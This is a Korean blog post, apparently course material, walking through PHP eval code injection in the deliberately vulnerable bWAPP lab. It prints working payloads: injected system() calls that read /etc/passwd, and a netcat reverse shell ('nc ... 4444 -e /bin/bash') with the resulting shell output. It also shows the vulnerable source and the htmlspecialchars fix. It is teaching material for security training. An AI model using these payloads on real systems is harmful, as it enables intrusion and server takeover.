정보보안(구버전)/ bWAPP 2019. 2. 25. 16:08

웹 해킹 bWAPP - 107. A9 - Using Known Vulnerable Components - PHP Eval Function

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Using Known Vulnerable Components

 

 - OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용

 - 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이

   가능한 취약점이다.

 

 

 

2. 'eval'  함수

 

 - 문자열을 입력 받아 그 문자열을 수식 계산하여 처리한 이후 결과값을 반환하는 함수이다.

 - eval 함수는 문자를 PHP 함수로 인식하여 출력하는 취약점을 갖고 있다.

 - 그렇기 때문에 공격자가 eval 함수를 사용하는것을 알게되면, 악성 쿼리문을 인젝션할 수 있다.

 

107-0. PHP 소스.txt

 

 

root@kali:~# service apache2 start
root@kali:~#
root@kali:~# cd /var/www/html
root@kali:/var/www/html# vi cisco.php

<?php
$a = 'CCNA';
$b = 'Cisco';
$c = '$a is $b certification';
echo $a. '<br>';
echo $b. '<br>';
echo $c. '<br>';
eval("\$c = \"$c\";");
echo $c. '<br>';
?>
<br>

 

<?php
echo "CCNP". '<br>';
eval("echo \"CCIE\";"). '<br>';
?>
<br>
<br>

 

<?php
eval("echo \"CCNA\"; system('cat /etc/passwd | head -3');");
?>

 

:wq!

 

 

 

브라우저 실행 -> '192.168.20.50/cisco.php' 접속 실시

 

 

 - echo는 $c에 있는 $a와 $b을 변수로 인식하지 않고 출력함, 그러나 eval 함수는 변수로 인식하여 값을 출력함

 - eval 함수를 사용했기 때문에 CCIE 내용이 출력된다

 - eval 함수를 사용했기 때문에 CCNA 내용 다음에 있는 System 함수 명령어가 실행된다.

 

 

 

3. Using Known Vulnerable Components - PHP Eval Function

 

 - 이 시나리오는 PHP 함수에 악의적인 코드를 인젝션하여 시스템 정보 확인 및 다른 명령어를 실행하는 내용이다.

 

 

Ex1) Using Known Vulnerable Components - PHP Eval Function 이해 I

 

 

보안 레벨 및 시나리오 선택

 

 

 

PHP Eval 함수 취약점 이용 내용 확인

 

 

'PHP Code Inection' 시나리오 선택

 

 

 

'message...' 클릭 -> 'test' 메세지 출력 확인

 

 

 

주소창 내용 확인

 

 

 

마우스 우클릭 -> '페이지 소스' 클릭

 

 

 

PHP 소스 내용 확인

 

 

 

 

Ex2) Using Known Vulnerable Components - PHP Eval Function 이해 II

 

 

 

107-1. PHP 인젝션 추가-1.txt

기존 URL에 system('cat /etc/passwd | head -3') 추가 -> 접속 실시

 

 

 

'cat /etc/passwrd | head -3' 내용 확인

 

 

 

 

Ex3) Using Known Vulnerable Components - PHP Eval Function 이해 III

 

root@kali:~# nc -l -p 4444


 

107-2. PHP 인젝션 추가-2.txt

기존 URL에 system('nc 192.168.20.50 4444 -e /bin/bash') 추가 -> 접속 실시

 

 

 

 

root@kali:~# nc -l -p 4444
pwd
/var/www/bWAPP

 

python -c 'import pty;pty.spawn("/bin/bash")'   <- 명령 프롬프트 생성 실시
www-data@bee-box:/var/www/bWAPP$

www-data@bee-box:/var/www/bWAPP$ pwd
pwd
/var/www/bWAPP


www-data@bee-box:/var/www/bWAPP$ cat /etc/passwd | head -3
cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh


www-data@bee-box:/var/www/bWAPP$  (Ctrl+C)

root@kali:~#

 

 

 

 

Ex4) 'phpi.php' 파일 내용 확인

 

bee@bee-box:/var/www/bWAPP$ ls -l phpi.php
-rw-rw-r-- 1 root www-data 5044 2014-11-02 23:52 phpi.php

 

bee@bee-box:/var/www/bWAPP$ vi phpi.php

~ 중간 생략 ~

 

<?php

if(isset($_REQUEST["message"]))
{

    // If the security level is not MEDIUM or HIGH
    if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
    {

?>
    <p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>

 

<?php

    }

    // If the security level is MEDIUM or HIGH
    else
    {
?>
    <p><i><?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");;?></i></p>

 

<?php

    }

}

 

:q! 

 

 

 

 

Ex5) 보안 레벨 'High' 변경

 

 

보안 레벨 및 시나리오 선택

 

 

 

107-3. PHP 인젝션 추가-3.txt

http://192.168.20.205/bWAPP/phpi.php?message=test; system('cat /etc/passwd | head -3')

 

 

 

htmlspecialchars 함수에 의해서 메타케릭터 인젝션 필터링 실시

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 107. A9 - bWAPP Using Known Vulnerable Components - PHP Eval Function

 

https://youtu.be/Pv3Zl_DpjBA



Posted by 김정우 강사(카카오톡 : kim10322)
,


Q